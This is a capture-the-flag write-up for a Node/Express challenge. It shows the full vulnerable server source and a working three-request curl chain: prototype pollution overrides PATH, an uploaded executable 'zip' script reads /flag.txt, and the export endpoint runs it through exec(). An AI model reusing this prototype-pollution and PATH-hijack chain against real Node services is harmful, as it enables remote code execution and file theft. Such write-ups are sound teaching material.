BrunnerCTF - Recipe For Disaster

BrunnerCTF - Recipe For Disaster
  1. Introduction
  2. Enumeration
  3. Exploitation
  4. Privesc

Introduction

Description

Difficulty: Medium/Hard

The small town of Bruncity is famous for its sweet, sticky Brunsviger. At the local bakery, a brand new system has been set up to keep track of recipes and export them for the hungry townsfolk. But the oven seems to behave strangely. The head baker swears something isn’t quite right with the way it works. If you poke around long enough, perhaps you’ll discover the bakery’s secret ingredient…

Enumeration

Reading Source Code

Source code was provided with the challenge description:

1
2
3
4
5
6
7
8
9
10
❯ tree            
.
├── docker-compose.yml
├── Dockerfile
├── package.json
├── public
│   ├── index.html
│   └── style.css
└── server.js

server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
const express = require('express');
const helmet = require('helmet');
const morgan = require('morgan');
const bodyParser = require('body-parser');
const fs = require('fs');
const fsp = fs.promises;
const path = require('path');
const { exec } = require('child_process');

const app = express();
app.use(helmet());
app.use(morgan('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true })); 
app.use(express.static(path.join(__dirname, 'public')));

app.locals.settings = {
    theme: 'brunsviger',
    glaze: 'brown-sugar',
    exportOptions: {
        timeout: 5000,
        maxBuffer: 1024 * 1024,
    }
};

function deepMerge(t, s) {
    for (const k of Object.keys(s)) {
        const v = s[k];
        if (v && typeof v === 'object' && !Array.isArray(v)) {
            if (!t[k]) t[k] = {};
            deepMerge(t[k], v); 
        } else {
            t[k] = v; 
        }
    }
    return t;
}

function sanitizeName(n) {
    n = String(n || '').toLowerCase();
    if (!/^[a-z0-9_-]{1,32}$/.test(n)) return null;
    return n;
}
function sanitizeFilename(n) {
    n = String(n || 'recipe.txt');
    if (!/^[a-zA-Z0-9_.-]{1,64}$/.test(n)) return null;
    return n;
}

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.post('/api/settings', (req, res) => {
    try {
        deepMerge(app.locals.settings, req.body);

        if (
            app.locals.settings.exportOptions &&
            Object.prototype.hasOwnProperty.call(app.locals.settings.exportOptions, 'env')
        ) {
            delete app.locals.settings.exportOptions.env;
        }

        res.json({ ok: true, settings: app.locals.settings });
    } catch (e) {
        res.status(400).json({ ok: false, error: String(e) });
    }
});

app.post('/api/note', async (req, res) => {
    try {
        const name = sanitizeName(req.body.name);
        const filename = sanitizeFilename(req.body.filename || 'recipe.txt');
        if (!name || !filename) return res.status(400).json({ ok: false, error: 'bad name/filename' });

        const content = String(req.body.content || '');
        const makeExecutable = String(req.body.makeExecutable || '') === 'true';

        const dir = path.join(__dirname, 'data', name);
        await fsp.mkdir(dir, { recursive: true });

        const filePath = path.join(dir, filename);
        await fsp.writeFile(filePath, content, { mode: 0o644 });
        if (makeExecutable) {
            await fsp.chmod(filePath, 0o755); // "helper scripts" are allowed, right? :)
        }

        res.json({ ok: true, path: `data/${name}/${filename}` });
    } catch (e) {
        res.status(500).json({ ok: false, error: String(e) });
    }
});

app.get('/export', async (req, res) => {
    try {
        const name = sanitizeName(req.query.name);
        if (!name) return res.status(400).type('text/plain').send('Bad cake name');

        const dataDir = path.join(__dirname, 'data', name);
        const tmpDir = path.join(__dirname, 'tmp');
        await fsp.mkdir(tmpDir, { recursive: true });

        const quoted = "'" + name.replace(/'/g, "'\\''") + "'";
        const out = path.join('tmp', `${name}.zip`);
        const cmd = `zip -r ${out} ./data/${quoted}`; 

        const baseOpts = Object.assign({}, app.locals.settings.exportOptions || {});

        const envFromSettings = baseOpts.env || {};
        const env = Object.assign({}, process.env, envFromSettings);

        const opts = Object.assign({}, baseOpts, { cwd: __dirname, env });

        exec(cmd, opts, (err, stdout, stderr) => {
            res.type('text/plain').send(
                (stdout || '') + (stderr || '') + (err ? '\nERR\n' : '\nOK\n')
            );
        });
    } catch (e) {
        res.status(500).type('text/plain').send('Internal oven failure: ' + String(e));
    }
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
    console.log(`Brunsviger Bakery listening on http://127.0.0.1:${PORT}`);
});

Exploitation

First modify env and especially env.PATH via prototype pollution

1
2
3
4
5
6
7
8
9
10
11
curl -X POST "https://recipe-for-disaster-70eb692221a809d1.challs.brunnerne.xyz/api/settings" \
-H 'Content-Type: application/json' \
-d '{
  "constructor": {
    "prototype": {
      "env": {
        "PATH": "./data/attacker:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:./data/attacker"
      }
    }
  }
}'
1
{"ok":true,"settings":{"theme":"brunsviger","glaze":"brown-sugar","exportOptions":{"timeout":5000,"maxBuffer":1048576}}}

Now, create a malicious zip file with the executable permission that displays the flag:

1
2
3
4
5
6
7
curl -X POST https://recipe-for-disaster-70eb692221a809d1.challs.brunnerne.xyz/api/note \
-H 'Content-Type: application/json' \
-d '{
  "name": "attacker", 
  "filename": "zip", 
  "content": "#!/usr/local/bin/node\nconst fs = require(\"fs\"); console.log(eval(fs.readFileSync(\"/flag.txt\", \"utf-8\")));", "makeExecutable": "true"
}'
1
{"ok":true,"path":"data/attacker/zip"}

Call the endpoint that executes zip, after modifying the env it will execute our malicious zip:

1
curl "https://recipe-for-disaster-70eb692221a809d1.challs.brunnerne.xyz/export?name=attacker"     
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
undefined:1
brunner{pr0t0typ3_p0llu710n_0v3rf10w1ng_7h3_0v3n}
       ^

SyntaxError: Unexpected token '{'
    at Object.<anonymous> (/app/data/attacker/zip:2:47)
    at Module._compile (node:internal/modules/cjs/loader:1364:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1422:10)
    at Module.load (node:internal/modules/cjs/loader:1203:32)
    at Module._load (node:internal/modules/cjs/loader:1019:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:128:12)
    at node:internal/main/run_main_module:28:49

Node.js v18.20.8

ERR

It fails to eval the flag, so it displays it on the screen, his is the most straight-forward way to exfiltrate the flag in my opinion.

This post is licensed under CC BY 4.0 by the author.